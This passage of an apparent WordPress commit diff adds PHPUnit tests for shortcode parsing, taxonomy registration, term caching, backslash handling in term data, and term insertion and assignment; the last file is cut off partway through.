+               $this->assertEquals( array(0=>'http://www.youtube.com/watch?v=eBGIQ7ZuuiU'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_positional_atts_quotes() {
+               $out = do_shortcode('[test-shortcode-tag "something in quotes" "something else"]');
+               $this->assertEquals( '', $out );
+               $this->assertEquals( array(0=>'something in quotes', 1=>'something else'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_positional_atts_mixed() {
+               $out = do_shortcode('[test-shortcode-tag 123 http://wordpress.com/ 0 "foo" bar]');
+               $this->assertEquals( '', $out );
+               $this->assertEquals( array(0=>'123', 1=>'http://wordpress.com/', 2=>'0', 3=>'foo', 4=>'bar'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_positional_and_named_atts() {
+               $out = do_shortcode('[test-shortcode-tag 123 url=http://wordpress.com/ foo bar="baz"]');
+               $this->assertEquals( '', $out );
+               $this->assertEquals( array(0=>'123', 'url' => 'http://wordpress.com/', 1=>'foo', 'bar' => 'baz'), $this->atts );
+               $this->assertEquals( 'test-shortcode-tag', $this->tagname );
+       }
+
+       function test_footag_default() {
+               $out = do_shortcode('[footag]');
+               $this->assertEquals('foo = ', $out);
+       }
+
+       function test_footag_val() {
+               $val = rand_str();
+               $out = do_shortcode('[footag foo="'.$val.'"]');
+               $this->assertEquals('foo = '.$val, $out);
+       }
+
+       function test_nested_tags() {
+               $out = do_shortcode('[baztag][dumptag abc="foo" def=123 http://wordpress.com/][/baztag]');
+               $expected = "content = abc = foo\ndef = 123\n0 = http://wordpress.com\n";
+               $this->assertEquals($expected, $out);
+       }
+
+       /**
+        * @ticket 6518
+        */
+       function test_tag_escaped() {
+               $out = do_shortcode('[[footag]] [[bartag foo="bar"]]');
+               $this->assertEquals('[footag] [bartag foo="bar"]', $out);
+
+               $out = do_shortcode('[[footag /]] [[bartag foo="bar" /]]');
+               $this->assertEquals('[footag /] [bartag foo="bar" /]', $out);
+
+               $out = do_shortcode('[[baztag foo="bar"]the content[/baztag]]');
+               $this->assertEquals('[baztag foo="bar"]the content[/baztag]', $out);
+
+               // double escaped
+               $out = do_shortcode('[[[footag]]] [[[bartag foo="bar"]]]');
+               $this->assertEquals('[[footag]] [[bartag foo="bar"]]', $out);
+       }
+
+       function test_tag_not_escaped() {
+               // these have square brackets on either end but aren't actually escaped
+               $out = do_shortcode('[[footag] [bartag foo="bar"]]');
+               $this->assertEquals('[foo =  foo = bar]', $out);
+
+               $out = do_shortcode('[[footag /] [bartag foo="bar" /]]');
+               $this->assertEquals('[foo =  foo = bar]', $out);
+
+               $out = do_shortcode('[[baztag foo="bar"]the content[/baztag]');
+               $this->assertEquals('[content = the content', $out);
+
+               $out = do_shortcode('[[not-a-tag]]');
+               $this->assertEquals('[[not-a-tag]]', $out);
+
+               $out = do_shortcode('[[[footag] [bartag foo="bar"]]]');
+               $this->assertEquals('[[foo =  foo = bar]]', $out);
+       }
+
+       function test_mixed_tags() {
+               $in = <<<EOF
+So this is a post with [footag foo="some stuff"] and a bunch of tags.
+
+[bartag]
+
+[baztag]
+Here's some content
+on more than one line
+[/baztag]
+
+[bartag foo=1] [baztag] [footag foo="2"] [baztag]
+
+[baztag]
+more content
+[/baztag]
+
+EOF;
+               $expected = <<<EOF
+So this is a post with foo = some stuff and a bunch of tags.
+
+foo = no foo
+
+content =
+Here's some content
+on more than one line
+
+
+foo = 1 content =  foo = 2 content =
+content =
+more content
+
+EOF;
+               $out = do_shortcode($in);
+               $this->assertEquals(strip_ws($expected), strip_ws($out));
+       }
+
+       /**
+        * @ticket 6562
+        */
+       function test_utf8_whitespace_1() {
+               // NO-BREAK SPACE: U+00A0
+               do_shortcode("[test-shortcode-tag foo=\"bar\" \xC2\xA0baz=\"123\"]");
+               $this->assertEquals( array('foo' => 'bar', 'baz' => '123'), $this->atts );
+               $this->assertEquals( '', $this->content );
+       }
+
+       /**
+        * @ticket 6562
+        */
+       function test_utf8_whitespace_2() {
+               // ZERO WIDTH SPACE: U+200B
+               do_shortcode("[test-shortcode-tag foo=\"bar\" \xE2\x80\x8Babc=\"def\"]");
+               $this->assertEquals( array('foo' => 'bar', 'abc' => 'def'), $this->atts );
+               $this->assertEquals( '', $this->content );
+       }
+
+       /**
+        * @ticket 14050
+        */
+       function test_shortcode_unautop() {
+               // a blank line is added at the end, so test with it already there
+               $test_string = "[footag]\n";
+               $this->assertEquals( $test_string, shortcode_unautop( wpautop( $test_string ) ) );
+       }
+
+       /**
+        * @ticket 14050
+        */
+       function test_multiple_shortcode_unautop() {
+               // a blank line is added at the end, so test with it already there
+               $test_string = "[footag]\n[footag]\n";
+               $actual = shortcode_unautop( wpautop( $test_string ) );
+               $this->assertEquals( $test_string, $actual );
+       }
+
+       /**
+        * @ticket 10326
+        */
+       function test_strip_shortcodes() {
+               $this->assertEquals('before', strip_shortcodes('before[gallery]'));
+               $this->assertEquals('after', strip_shortcodes('[gallery]after'));
+               $this->assertEquals('beforeafter', strip_shortcodes('before[gallery]after'));
+       }
+
+
+       // Store passed in shortcode_atts_{$shortcode} args
+       function _filter_atts( $out, $pairs, $atts ) {
+               $this->filter_atts_out = $out;
+               $this->filter_atts_pairs = $pairs;
+               $this->filter_atts_atts = $atts;
+               return $out;
+       }
+
+       // Filter shortcode atts in various ways
+       function _filter_atts2( $out, $pairs, $atts ) {
+               // If foo attribute equals "foo1", change it to be default value
+               if ( isset( $out['foo'] ) && 'foo1' == $out['foo'] )
+                       $out['foo'] = $pairs['foo'];
+
+               // If baz attribute is set, remove it
+               if ( isset( $out['baz'] ) )
+                       unset( $out['baz'] );
+
+               $this->filter_atts_out = $out;
+               return $out;
+       }
+
+       function test_shortcode_atts_filter_passes_original_arguments() {
+               add_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts' ), 10, 3 );
+
+               do_shortcode('[bartag foo="foo1" /]');
+               $this->assertEquals( array( 'foo' => 'foo1', 'baz' => 'default baz' ), $this->filter_atts_out );
+               $this->assertEquals( array( 'foo' => 'no foo', 'baz' => 'default baz' ), $this->filter_atts_pairs );
+               $this->assertEquals( array( 'foo' => 'foo1' ), $this->filter_atts_atts );
+
+               remove_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts' ), 10, 3 );
+       }
+
+       function test_shortcode_atts_filtering() {
+               add_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts2' ), 10, 3 );
+
+               $out = do_shortcode('[bartag foo="foo1" baz="baz1" /]');
+               $this->assertEquals( array( 'foo' => 'no foo' ), $this->filter_atts_out );
+               $this->assertEquals( 'foo = no foo', $out );
+
+               $out = do_shortcode('[bartag foo="foo2" /]');
+               $this->assertEquals( 'foo = foo2', $out );
+
+               remove_filter( 'shortcode_atts_bartag', array( $this, '_filter_atts2' ), 10, 3 );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststeststaxonomyphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/taxonomy.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/taxonomy.php                           (rev 0)
+++ trunk/tests/tests/taxonomy.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,106 @@
</span><ins>+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Taxonomy extends WP_UnitTestCase {
+       function test_get_post_taxonomies() {
+               $this->assertEquals(array('category', 'post_tag', 'post_format'), get_object_taxonomies('post'));
+       }
+
+       function test_get_link_taxonomies() {
+               $this->assertEquals(array('link_category'), get_object_taxonomies('link'));
+       }
+
+       /**
+        * @ticket 5417
+        */
+       function test_get_unknown_taxonomies() {
+               // taxonomies for an unknown object type
+               $this->assertEquals( array(), get_object_taxonomies(rand_str()) );
+               $this->assertEquals( array(), get_object_taxonomies('') );
+               $this->assertEquals( array(), get_object_taxonomies(0) );
+               $this->assertEquals( array(), get_object_taxonomies(NULL) );
+       }
+
+       function test_get_post_taxonomy() {
+               foreach ( get_object_taxonomies('post') as $taxonomy ) {
+                       $tax = get_taxonomy($taxonomy);
+                       // should return an object with the correct taxonomy object type
+                       $this->assertTrue( is_object( $tax ) );
+                       $this->assertTrue( is_array( $tax->object_type ) );
+                       $this->assertEquals( array( 'post' ), $tax->object_type );
+               }
+       }
+
+       function test_get_link_taxonomy() {
+               foreach ( get_object_taxonomies('link') as $taxonomy ) {
+                       $tax = get_taxonomy($taxonomy);
+                       // should return an object with the correct taxonomy object type
+                       $this->assertTrue( is_object($tax) );
+                       $this->assertTrue( is_array( $tax->object_type ) );
+                       $this->assertEquals( array( 'link' ), $tax->object_type );
+               }
+       }
+
+       function test_taxonomy_exists_known() {
+               $this->assertTrue( taxonomy_exists('category') );
+               $this->assertTrue( taxonomy_exists('post_tag') );
+               $this->assertTrue( taxonomy_exists('link_category') );
+       }
+
+       function test_taxonomy_exists_unknown() {
+               $this->assertFalse( taxonomy_exists(rand_str()) );
+               $this->assertFalse( taxonomy_exists('') );
+               $this->assertFalse( taxonomy_exists(0) );
+               $this->assertFalse( taxonomy_exists(NULL) );
+       }
+
+       function test_is_taxonomy_hierarchical() {
+               $this->assertTrue( is_taxonomy_hierarchical('category') );
+               $this->assertFalse( is_taxonomy_hierarchical('post_tag') );
+               $this->assertFalse( is_taxonomy_hierarchical('link_category') );
+       }
+
+       function test_is_taxonomy_hierarchical_unknown() {
+               $this->assertFalse( is_taxonomy_hierarchical(rand_str()) );
+               $this->assertFalse( is_taxonomy_hierarchical('') );
+               $this->assertFalse( is_taxonomy_hierarchical(0) );
+               $this->assertFalse( is_taxonomy_hierarchical(NULL) );
+       }
+
+       function test_register_taxonomy() {
+
+               // make up a new taxonomy name, and ensure it's unused
+               $tax = rand_str();
+               $this->assertFalse( taxonomy_exists($tax) );
+
+               register_taxonomy( $tax, 'post' );
+               $this->assertTrue( taxonomy_exists($tax) );
+               $this->assertFalse( is_taxonomy_hierarchical($tax) );
+
+               // clean up
+               unset($GLOBALS['wp_taxonomies'][$tax]);
+       }
+
+       function test_register_hierarchical_taxonomy() {
+
+               // make up a new taxonomy name, and ensure it's unused
+               $tax = rand_str();
+               $this->assertFalse( taxonomy_exists($tax) );
+
+               register_taxonomy( $tax, 'post', array('hierarchical'=>true) );
+               $this->assertTrue( taxonomy_exists($tax) );
+               $this->assertTrue( is_taxonomy_hierarchical($tax) );
+
+               // clean up
+               unset($GLOBALS['wp_taxonomies'][$tax]);
+       }
+
+       /**
+        * @ticket 21593
+        */
+       function test_register_long_taxonomy() {
+               $this->assertInstanceOf( 'WP_Error', register_taxonomy( 'abcdefghijklmnopqrstuvwxyz0123456789', 'post', array() ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststeststermgetTermsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/term/getTerms.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/term/getTerms.php                              (rev 0)
+++ trunk/tests/tests/term/getTerms.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,90 @@
</span><ins>+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Term_getTerms extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+
+               wp_cache_delete( 'last_changed', 'terms' );
+       }
+
+       /**
+        * @ticket 23326
+        */
+       function test_get_terms_cache() {
+               global $wpdb;
+
+               $posts = $this->factory->post->create_many( 15, array( 'post_type' => 'post' ) );
+               foreach ( $posts as $post )
+                       wp_set_object_terms( $post, rand_str(), 'post_tag' );
+               wp_cache_delete( 'last_changed', 'terms' );
+
+               $this->assertFalse( wp_cache_get( 'last_changed', 'terms' ) );
+
+               $num_queries = $wpdb->num_queries;
+
+               // last_changed and num_queries should bump
+               $terms = get_terms( 'post_tag' );
+               $this->assertEquals( 15, count( $terms ) );
+               $this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'terms' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Again. last_changed and num_queries should remain the same.
+               $terms = get_terms( 'post_tag' );
+               $this->assertEquals( 15, count( $terms ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'terms' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+
+               // Different query. num_queries should bump, last_changed should remain the same.
+               $terms = get_terms( 'post_tag', array( 'number' => 10 ) );
+               $this->assertEquals( 10, count( $terms ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'terms' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Again. last_changed and num_queries should remain the same.
+               $terms = get_terms( 'post_tag', array( 'number' => 10 ) );
+               $this->assertEquals( 10, count( $terms ) );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'terms' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               // Force last_changed to bump
+               wp_delete_term( $terms[0]->term_id, 'post_tag' );
+
+               $num_queries = $wpdb->num_queries;
+               $this->assertNotEquals( $time1, $time2 = wp_cache_get( 'last_changed', 'terms' ) );
+
+               // last_changed and num_queries should bump after a term is deleted
+               $terms = get_terms( 'post_tag' );
+               $this->assertEquals( 14, count( $terms ) );
+               $this->assertEquals( $time2, wp_cache_get( 'last_changed', 'terms' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Again. last_changed and num_queries should remain the same.
+               $terms = get_terms( 'post_tag' );
+               $this->assertEquals( 14, count( $terms ) );
+               $this->assertEquals( $time2, wp_cache_get( 'last_changed', 'terms' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               // @todo Repeat with term insert and update.
+       }
+
+       /**
+        * @ticket 23506
+        */
+       function test_get_terms_should_allow_arbitrary_indexed_taxonomies_array() {
+               $term_id = $this->factory->tag->create();
+               $terms = get_terms( array( '111' => 'post_tag' ), array( 'hide_empty' => false ) );
+               $this->assertEquals( $term_id, $terms[0]->term_id );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststeststermslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/term/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/term/slashes.php                               (rev 0)
+++ trunk/tests/tests/term/slashes.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,129 @@
</span><ins>+<?php
+
+/**
+ * @group term
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Term_Slashes extends WP_Ajax_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_insert_term() {
+               $taxonomies = array(
+                       'category',
+                       'post_tag'
+               );
+               foreach ( $taxonomies as $taxonomy ) {
+                       $insert = wp_insert_term(
+                               $this->slash_1,
+                               $taxonomy,
+                               array(
+                                       'slug' => 'slash_test_1_'.$taxonomy,
+                                       'description' => $this->slash_3
+                               )
+                       );
+                       $term = get_term( $insert['term_id'], $taxonomy );
+                       $this->assertEquals( wp_unslash( $this->slash_1 ), $term->name );
+                       $this->assertEquals( wp_unslash( $this->slash_3 ), $term->description );
+
+                       $insert = wp_insert_term(
+                               $this->slash_3,
+                               $taxonomy,
+                               array(
+                                       'slug' => 'slash_test_2_'.$taxonomy,
+                                       'description' => $this->slash_5
+                               )
+                       );
+                       $term = get_term( $insert['term_id'], $taxonomy );
+                       $this->assertEquals( wp_unslash( $this->slash_3 ), $term->name );
+                       $this->assertEquals( wp_unslash( $this->slash_5 ), $term->description );
+
+                       $insert = wp_insert_term(
+                               $this->slash_2,
+                               $taxonomy,
+                               array(
+                                       'slug' => 'slash_test_3_'.$taxonomy,
+                                       'description' => $this->slash_4
+                               )
+                       );
+                       $term = get_term( $insert['term_id'], $taxonomy );
+                       $this->assertEquals( wp_unslash( $this->slash_2 ), $term->name );
+                       $this->assertEquals( wp_unslash( $this->slash_4 ), $term->description );
+               }
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_update_term() {
+               $taxonomies = array(
+                       'category',
+                       'post_tag'
+               );
+               foreach ( $taxonomies as $taxonomy ) {
+                       $id = $this->factory->term->create(array(
+                               'taxonomy' => $taxonomy
+                       ));
+
+                       $update = wp_update_term(
+                               $id,
+                               $taxonomy,
+                               array(
+                                       'name' => $this->slash_1,
+                                       'description' => $this->slash_3
+                               )
+                       );
+
+                       $term = get_term( $id, $taxonomy );
+                       $this->assertEquals( wp_unslash( $this->slash_1 ), $term->name );
+                       $this->assertEquals( wp_unslash( $this->slash_3 ), $term->description );
+
+                       $update = wp_update_term(
+                               $id,
+                               $taxonomy,
+                               array(
+                                       'name' => $this->slash_3,
+                                       'description' => $this->slash_5
+                               )
+                       );
+                       $term = get_term( $id, $taxonomy );
+                       $this->assertEquals( wp_unslash( $this->slash_3 ), $term->name );
+                       $this->assertEquals( wp_unslash( $this->slash_5 ), $term->description );
+
+                       $update = wp_update_term(
+                               $id,
+                               $taxonomy,
+                               array(
+                                       'name' => $this->slash_2,
+                                       'description' => $this->slash_4
+                               )
+                       );
+                       $term = get_term( $id, $taxonomy );
+                       $this->assertEquals( wp_unslash( $this->slash_2 ), $term->name );
+                       $this->assertEquals( wp_unslash( $this->slash_4 ), $term->description );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststeststermphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/term.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/term.php                               (rev 0)
+++ trunk/tests/tests/term.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,460 @@
</span><ins>+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Term extends WP_UnitTestCase {
+       var $taxonomy = 'category';
+
+       function setUp() {
+               parent::setUp();
+               // insert one term into every post taxonomy
+               // otherwise term_ids and term_taxonomy_ids might be identical, which could mask bugs
+               $term = rand_str();
+               foreach(get_object_taxonomies('post') as $tax)
+                       wp_insert_term( $term, $tax );
+       }
+
+       function deleted_term_cb( $term, $tt_id, $taxonomy, $deleted_term ) {
+               $this->assertInternalType( 'object', $deleted_term );
+               $this->assertInternalType( 'int', $term );
+               // Pesky string $this->assertInternalType( 'int', $tt_id );
+               $this->assertEquals( $term, $deleted_term->term_id );
+               $this->assertEquals( $taxonomy, $deleted_term->taxonomy );
+               $this->assertEquals( $tt_id, $deleted_term->term_taxonomy_id );
+       }
+
+       function test_wp_insert_delete_term() {
+               // a new unused term
+               $term = rand_str();
+               $this->assertNull( term_exists($term) );
+
+               $initial_count = wp_count_terms( $this->taxonomy );
+
+               $t = wp_insert_term( $term, $this->taxonomy );
+               $this->assertInternalType( 'array', $t );
+               $this->assertFalse( is_wp_error($t) );
+               $this->assertTrue( $t['term_id'] > 0 );
+               $this->assertTrue( $t['term_taxonomy_id'] > 0 );
+               $this->assertEquals( $initial_count + 1, wp_count_terms($this->taxonomy) );
+
+               // make sure the term exists
+               $this->assertTrue( term_exists($term) > 0 );
+               $this->assertTrue( term_exists($t['term_id']) > 0 );
+
+               // now delete it
+               add_filter( 'delete_term', array( $this, 'deleted_term_cb' ), 10, 4 );
+               $this->assertTrue( wp_delete_term($t['term_id'], $this->taxonomy) );
+               remove_filter( 'delete_term', array( $this, 'deleted_term_cb' ), 10, 4 );
+               $this->assertNull( term_exists($term) );
+               $this->assertNull( term_exists($t['term_id']) );
+               $this->assertEquals( $initial_count, wp_count_terms($this->taxonomy) );
+       }
+
+       function test_term_exists_known() {
+               // insert a term
+               $term = rand_str();
+               $t = wp_insert_term( $term, $this->taxonomy );
+               $this->assertInternalType( 'array', $t );
+               $this->assertEquals( $t['term_id'], term_exists($t['term_id']) );
+               $this->assertEquals( $t['term_id'], term_exists($term) );
+
+               // clean up
+               $this->assertTrue( wp_delete_term($t['term_id'], $this->taxonomy) );
+       }
+
+       function test_term_exists_unknown() {
+               $this->assertNull( term_exists(rand_str()) );
+               $this->assertEquals( 0, term_exists(0) );
+               $this->assertEquals( 0, term_exists('') );
+               $this->assertEquals( 0, term_exists(NULL) );
+       }
+
+       /**
+        * @ticket 5381
+        */
+       function test_is_term_type() {
+               // insert a term
+               $term = rand_str();
+               $t = wp_insert_term( $term, $this->taxonomy );
+               $this->assertInternalType( 'array', $t );
+               $term_obj = get_term_by('name', $term, $this->taxonomy);
+               $this->assertEquals( $t['term_id'], term_exists($term_obj->slug) );
+
+               // clean up
+               $this->assertTrue( wp_delete_term($t['term_id'], $this->taxonomy) );
+       }
+
+       function test_set_object_terms_by_id() {
+               $ids = $this->factory->post->create_many(5);
+
+               $terms = array();
+               for ($i=0; $i<3; $i++ ) {
+                       $term = rand_str();
+                       $result = wp_insert_term( $term, $this->taxonomy );
+                       $this->assertInternalType( 'array', $result );
+                       $term_id[$term] = $result['term_id'];
+               }
+
+               foreach ($ids as $id) {
+                               $tt = wp_set_object_terms( $id, array_values($term_id), $this->taxonomy );
+                               // should return three term taxonomy ids
+                               $this->assertEquals( 3, count($tt) );
+               }
+
+               // each term should be associated with every post
+               foreach ($term_id as $term=>$id) {
+                       $actual = get_objects_in_term($id, $this->taxonomy);
+                       $this->assertEquals( $ids, array_map('intval', $actual) );
+               }
+
+               // each term should have a count of 5
+               foreach (array_keys($term_id) as $term) {
+                       $t = get_term_by('name', $term, $this->taxonomy);
+                       $this->assertEquals( 5, $t->count );
+               }
+       }
+
+       function test_set_object_terms_by_name() {
+               $ids = $this->factory->post->create_many(5);
+
+               $terms = array(
+                               rand_str(),
+                               rand_str(),
+                               rand_str());
+
+               foreach ($ids as $id) {
+                               $tt = wp_set_object_terms( $id, $terms, $this->taxonomy );
+                               // should return three term taxonomy ids
+                               $this->assertEquals( 3, count($tt) );
+                               // remember which term has which term_id
+                               for ($i=0; $i<3; $i++) {
+                                       $term = get_term_by('name', $terms[$i], $this->taxonomy);
+                                       $term_id[$terms[$i]] = intval($term->term_id);
+                               }
+               }
+
+               // each term should be associated with every post
+               foreach ($term_id as $term=>$id) {
+                       $actual = get_objects_in_term($id, $this->taxonomy);
+                       $this->assertEquals( $ids, array_map('intval', $actual) );
+               }
+
+               // each term should have a count of 5
+               foreach ($terms as $term) {
+                       $t = get_term_by('name', $term, $this->taxonomy);
+                       $this->assertEquals( 5, $t->count );
+               }
+       }
+
+       function test_change_object_terms_by_name() {
+               // set some terms on an object; then change them while leaving one intact
+
+               $post_id = $this->factory->post->create();
+
+               $terms_1 = array('foo', 'bar', 'baz');
+               $terms_2 = array('bar', 'bing');
+
+               // set the initial terms
+               $tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+               $this->assertEquals( 3, count($tt_1) );
+
+               // make sure they're correct
+               $terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'names', 'orderby' => 't.term_id'));
+               $this->assertEquals( $terms_1, $terms );
+
+               // change the terms
+               $tt_2 = wp_set_object_terms( $post_id, $terms_2, $this->taxonomy );
+               $this->assertEquals( 2, count($tt_2) );
+
+               // make sure they're correct
+               $terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'names', 'orderby' => 't.term_id'));
+               $this->assertEquals( $terms_2, $terms );
+
+               // make sure the tt id for 'bar' matches
+               $this->assertEquals( $tt_1[1], $tt_2[0] );
+
+       }
+
+       /**
+        * @ticket 22560
+        */
+       function test_object_term_cache() {
+               $post_id = $this->factory->post->create();
+
+               $terms_1 = array('foo', 'bar', 'baz');
+               $terms_2 = array('bar', 'bing');
+
+               // Cache should be empty after a set.
+               $tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+               $this->assertEquals( 3, count($tt_1) );
+               $this->assertFalse( wp_cache_get( $post_id, $this->taxonomy . '_relationships') );
+
+               // wp_get_object_terms() does not prime the cache.
+               wp_get_object_terms( $post_id, $this->taxonomy, array('fields' => 'names', 'orderby' => 't.term_id') );
+               $this->assertFalse( wp_cache_get( $post_id, $this->taxonomy . '_relationships') );
+
+               // get_the_terms() does prime the cache.
+               $terms = get_the_terms( $post_id, $this->taxonomy );
+               $cache = wp_cache_get( $post_id, $this->taxonomy . '_relationships');
+               $this->assertInternalType( 'array', $cache );
+
+               // Cache should be empty after a set.
+               $tt_2 = wp_set_object_terms( $post_id, $terms_2, $this->taxonomy );
+               $this->assertEquals( 2, count($tt_2) );
+               $this->assertFalse( wp_cache_get( $post_id, $this->taxonomy . '_relationships') );
+       }
+
+       function test_change_object_terms_by_id() {
+               // set some terms on an object; then change them while leaving one intact
+
+               $post_id = $this->factory->post->create();
+
+               // first set: 3 terms
+               $terms_1 = array();
+               for ($i=0; $i<3; $i++ ) {
+                       $term = rand_str();
+                       $result = wp_insert_term( $term, $this->taxonomy );
+                       $this->assertInternalType( 'array', $result );
+                       $terms_1[$i] = $result['term_id'];
+               }
+
+               // second set: one of the original terms, plus one new term
+               $terms_2 = array();
+               $terms_2[0] = $terms_1[1];
+
+               $term = rand_str();
+               $result = wp_insert_term( $term, $this->taxonomy );
+               $terms_2[1] = $result['term_id'];
+
+
+               // set the initial terms
+               $tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+               $this->assertEquals( 3, count($tt_1) );
+
+               // make sure they're correct
+               $terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'ids', 'orderby' => 't.term_id'));
+               $this->assertEquals( $terms_1, $terms );
+
+               // change the terms
+               $tt_2 = wp_set_object_terms( $post_id, $terms_2, $this->taxonomy );
+               $this->assertEquals( 2, count($tt_2) );
+
+               // make sure they're correct
+               $terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'ids', 'orderby' => 't.term_id'));
+               $this->assertEquals( $terms_2, $terms );
+
+               // make sure the tt id for 'bar' matches
+               $this->assertEquals( $tt_1[1], $tt_2[0] );
+
+       }
+
+       function test_get_object_terms_by_slug() {
+               $post_id = $this->factory->post->create();
+
+               $terms_1 = array('Foo', 'Bar', 'Baz');
+               $terms_1_slugs = array('foo', 'bar', 'baz');
+
+               // set the initial terms
+               $tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+               $this->assertEquals( 3, count($tt_1) );
+
+               // make sure they're correct
+               $terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'slugs', 'orderby' => 't.term_id'));
+               $this->assertEquals( $terms_1_slugs, $terms );
+       }
+
+       function test_set_object_terms_invalid() {
+               $post_id = $this->factory->post->create();
+
+               // bogus taxonomy
+               $result = wp_set_object_terms( $post_id, array(rand_str()), rand_str() );
+               $this->assertTrue( is_wp_error($result) );
+       }
+
+       /**
+        * @ticket 15475
+        */
+       function test_wp_add_remove_object_terms() {
+               $posts = $this->factory->post->create_many( 5 );
+               $tags = $this->factory->tag->create_many( 5 );
+
+               $tt = wp_add_object_terms( $posts[0], $tags[1], 'post_tag' );
+               $this->assertEquals( 1, count( $tt ) );
+               $this->assertEquals( array( $tags[1] ), wp_get_object_terms( $posts[0], 'post_tag', array( 'fields' => 'ids' ) ) );
+
+               $three_tags = array( $tags[0], $tags[1], $tags[2] );
+               $tt = wp_add_object_terms( $posts[1], $three_tags, 'post_tag' );
+               $this->assertEquals( 3, count( $tt ) );
+               $this->assertEquals( $three_tags, wp_get_object_terms( $posts[1], 'post_tag', array( 'fields' => 'ids' ) ) );
+
+               $this->assertTrue( wp_remove_object_terms( $posts[0], $tags[1], 'post_tag' ) );
+               $this->assertFalse( wp_remove_object_terms( $posts[0], $tags[0], 'post_tag' ) );
+               $this->assertInstanceOf( 'WP_Error', wp_remove_object_terms( $posts[0], $tags[1], 'non_existing_taxonomy' ) );
+               $this->assertTrue( wp_remove_object_terms( $posts[1], $three_tags, 'post_tag' ) );
+               $this->assertEquals( 0, count( wp_get_object_terms( $posts[1], 'post_tag' ) ) );
+
+               foreach ( $tags as $term_id )
+                       $this->assertTrue( wp_delete_term( $term_id, 'post_tag' ) );
+
+               foreach ( $posts as $post_id )
+                       $this->assertTrue( (bool) wp_delete_post( $post_id, true ) );
+       }
+
+       function test_term_is_ancestor_of( ) {
+               $term = rand_str();
+               $term2 = rand_str();
+
+               $t = wp_insert_term( $term, 'category' );
+               $this->assertInternalType( 'array', $t );
+               $t2 = wp_insert_term( $term, 'category', array( 'parent' => $t['term_id'] ) );
+               $this->assertInternalType( 'array', $t2 );
+               if ( function_exists( 'term_is_ancestor_of' ) ) {
+                       $this->assertTrue( term_is_ancestor_of( $t['term_id'], $t2['term_id'], 'category' ) );
+                       $this->assertFalse( term_is_ancestor_of( $t2['term_id'], $t['term_id'], 'category' ) );
+               }
+               $this->assertTrue( cat_is_ancestor_of( $t['term_id'], $t2['term_id']) );
+               $this->assertFalse( cat_is_ancestor_of( $t2['term_id'], $t['term_id']) );
+
+               wp_delete_term($t['term_id'], 'category');
+               wp_delete_term($t2['term_id'], 'category');
+       }
+
